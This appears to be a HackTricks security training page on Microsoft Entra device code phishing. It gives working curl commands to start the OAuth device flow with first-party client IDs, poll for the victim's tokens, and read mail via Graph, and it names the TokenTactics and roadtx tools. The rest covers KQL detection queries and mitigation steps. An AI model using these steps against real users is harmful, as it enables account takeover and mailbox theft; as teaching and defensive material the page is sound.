{{#include ../../../banners/hacktricks-training.md}}
Device code phishing abuses the OAuth 2.0 Device Authorization Grant so the victim authenticates on the legitimate Microsoft page https://microsoft.com/devicelogin, completes the real MFA challenge, and still gives the attacker the resulting tokens.
This is not a fake login portal and not an MFA bypass. The attacker starts the flow, keeps the opaque device_code, and tricks the victim into entering the matching user_code. When the victim authorizes the request, the attacker's polling client receives the access token, refresh token, and ID token.
This works especially well against Microsoft first-party public clients because:
- Public clients do not have a client secret, so they can be impersonated.
- The protocol does not cryptographically bind the code-displaying client to the browser where the victim signs in.
- Requesting
offline_accesscan return a refresh token that survives the initial ~1 hour access token lifetime. - With Microsoft FOCI behavior, a stolen refresh token may be exchanged for additional Microsoft resources. Check Az - Tokens & Public Applications.
- The attacker requests a device code for a useful public client and resource.
- Entra returns:
user_code: short value shown to the victimdevice_code: opaque value kept by the attackerverification_uri: usuallyhttps://microsoft.com/devicelogininterval/expires_in
- The attacker shows the victim the
user_codevia a lure page or email workflow. - The victim opens the real Microsoft page, enters the code, signs in, satisfies MFA, and grants consent if requested.
- The attacker polls the token endpoint until
authorization_pendingbecomes a successful token response.
curl -X POST "https://login.microsoftonline.com/common/oauth2/v2.0/devicecode" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c" \
--data-urlencode "scope=https://graph.microsoft.com/.default offline_access"curl -X POST "https://login.microsoftonline.com/common/oauth2/v2.0/token" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "grant_type=urn:ietf:params:oauth:grant-type:device_code" \
--data-urlencode "client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c" \
--data-urlencode "device_code=<DEVICE_CODE>"Until the victim finishes the flow the response is typically authorization_pending. After approval, the same polling request returns usable tokens.
d3590ed6-52b3-4102-aeff-aad2292ab01c- Microsoft Office04b07795-8ddb-461a-bbee-02f9e1bf7b46- Azure CLI1950a258-227b-4e31-a9cf-717495945fc2- Azure PowerShell
Once the attacker receives an access token, it can be used directly against Microsoft Graph:
curl -H "Authorization: Bearer $ACCESS_TOKEN" \
"https://graph.microsoft.com/v1.0/me/messages"Common follow-on actions:
- Read mail, contacts, and directory relationships.
- Create or modify inbox rules to hide warnings or forward mail.
- Access OneDrive and SharePoint content.
- Keep renewing access with the refresh token without another MFA prompt.
Warning
A password reset alone does not invalidate an already-issued refresh token. Session/token revocation is a separate response action.
Import-Module .\TokenTactics.psd1
Get-AzureToken -Client MSGraphroadtx gettokens --device-code -c msgraph -r msgraphFor refresh-token pivoting, FOCI behavior, and other token exchange tricks, check Az - Tokens & Public Applications.
The main Entra sign-in indicator is:
AuthenticationProtocol == "deviceCode"
In many environments, any device-code sign-in should be rare enough to baseline individually. Prioritize events with:
- High-value first-party client IDs
- A fast IP/geography split between the victim sign-in and later token use
- Graph / Exchange activity immediately after the sign-in
New-InboxRuleorSet-InboxRulesoon after the sign-in
SigninLogs
| where AuthenticationProtocol =~ "deviceCode"
| project TimeGenerated, UserPrincipalName, AppDisplayName, AppId, IPAddress, Location, ResourceDisplayName
| order by TimeGenerated descSigninLogs
| where AuthenticationProtocol =~ "deviceCode"
| where AppId in ("d3590ed6-52b3-4102-aeff-aad2292ab01c","04b07795-8ddb-461a-bbee-02f9e1bf7b46","1950a258-227b-4e31-a9cf-717495945fc2")
| summarize IPs=dcount(IPAddress), IPList=make_set(IPAddress, 10) by bin(TimeGenerated, 15m), UserPrincipalName, AppDisplayName, AppId
| where IPs >= 3let dc = SigninLogs
| where AuthenticationProtocol =~ "deviceCode"
| project DC_Time=TimeGenerated, UserPrincipalName, AppDisplayName, IPAddress;
dc
| join kind=inner (OfficeActivity | where Operation in ("New-InboxRule","Set-InboxRule") | project RuleTime=TimeGenerated, UserId, Operation) on $left.UserPrincipalName == $right.UserId
| where RuleTime between (DC_Time .. DC_Time + 1h)- Block device-code authentication in Conditional Access authentication flows and only allow narrow exceptions for documented browserless workflows.
- Train users to never enter a Microsoft device code unless they initiated the flow themselves on the device being connected.
- If a phish succeeds, revoke sessions/refresh tokens, review Graph/Exchange/SharePoint activity, and remove malicious mailbox rules.
Connect-MgGraph -Scopes "User.RevokeSessions.All"
Revoke-MgUserSignInSession -UserId victim@corp.onmicrosoft.comFor Conditional Access caveats and MFA-related bypass context, check Az - Conditional Access Policies & MFA Bypass.
{{#include ../../../banners/hacktricks-training.md}}